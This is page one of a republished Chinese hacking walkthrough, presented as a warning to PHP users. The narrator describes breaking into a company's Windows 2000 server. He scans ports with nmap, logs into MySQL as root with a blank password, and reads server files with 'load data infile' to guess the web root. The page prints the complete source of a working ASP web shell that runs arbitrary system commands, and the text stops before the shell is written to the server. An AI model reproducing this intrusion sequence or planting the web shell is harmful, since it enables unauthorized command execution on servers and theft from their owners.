PHP用户须警惕:通过Mysql入侵服务器
PHP用户须警惕:通过Mysql入侵服务器
烈火建站学院(LieHuo.Net)转载 某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是abc.target.net,我一看觉得挺眼熟的,target.net公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,那就看看他们的服务器做的如何吧。
随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到www.target.net,他们的主站,哈哈。
Ok!先用nmap扫描一下,扫描结果如下:
以下为引用的内容: 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop-3 389/tcp open ldap 1002/tcp open unknown 3306/tcp open mysql |
然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:
以下为引用的内容: F:\cmd>mysql -u root -h www.target.net Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 3038 to server version: 3.23.21-beta Type 'help;' or '\h' for help. Type '\c' to clear the buffer mysql> |
不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。
现在我们可以利用这个漏洞来做三件事情:
<1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了
<2>读取服务器上的任何文件,当然前提是知道文件的物理路径
<3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件
如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,
mysql> use test;create table tmp(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)
然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,d:\wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:
mysql> load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
Query OK, 235 rows affected (0.05 sec)
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0
哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得到一个shell了。
接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。
然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:
以下为引用的内容: -------------------------------cmd.asp---------------------------------------- <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject(""WSCRIPT.SHELL"") Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"") Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"") If (szCMD <> """") Then szTempFile = ""C:\" & oFileSys.GetTempName() Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"") %>"" method=""POST""> <input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run""></FORM><PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> </BODY></HTML> ----------------------------end of cmd.asp----------------------------------- |
- 共3页:
- 上一页
- 1
- 2
- 3
- 下一页
评论暂时关闭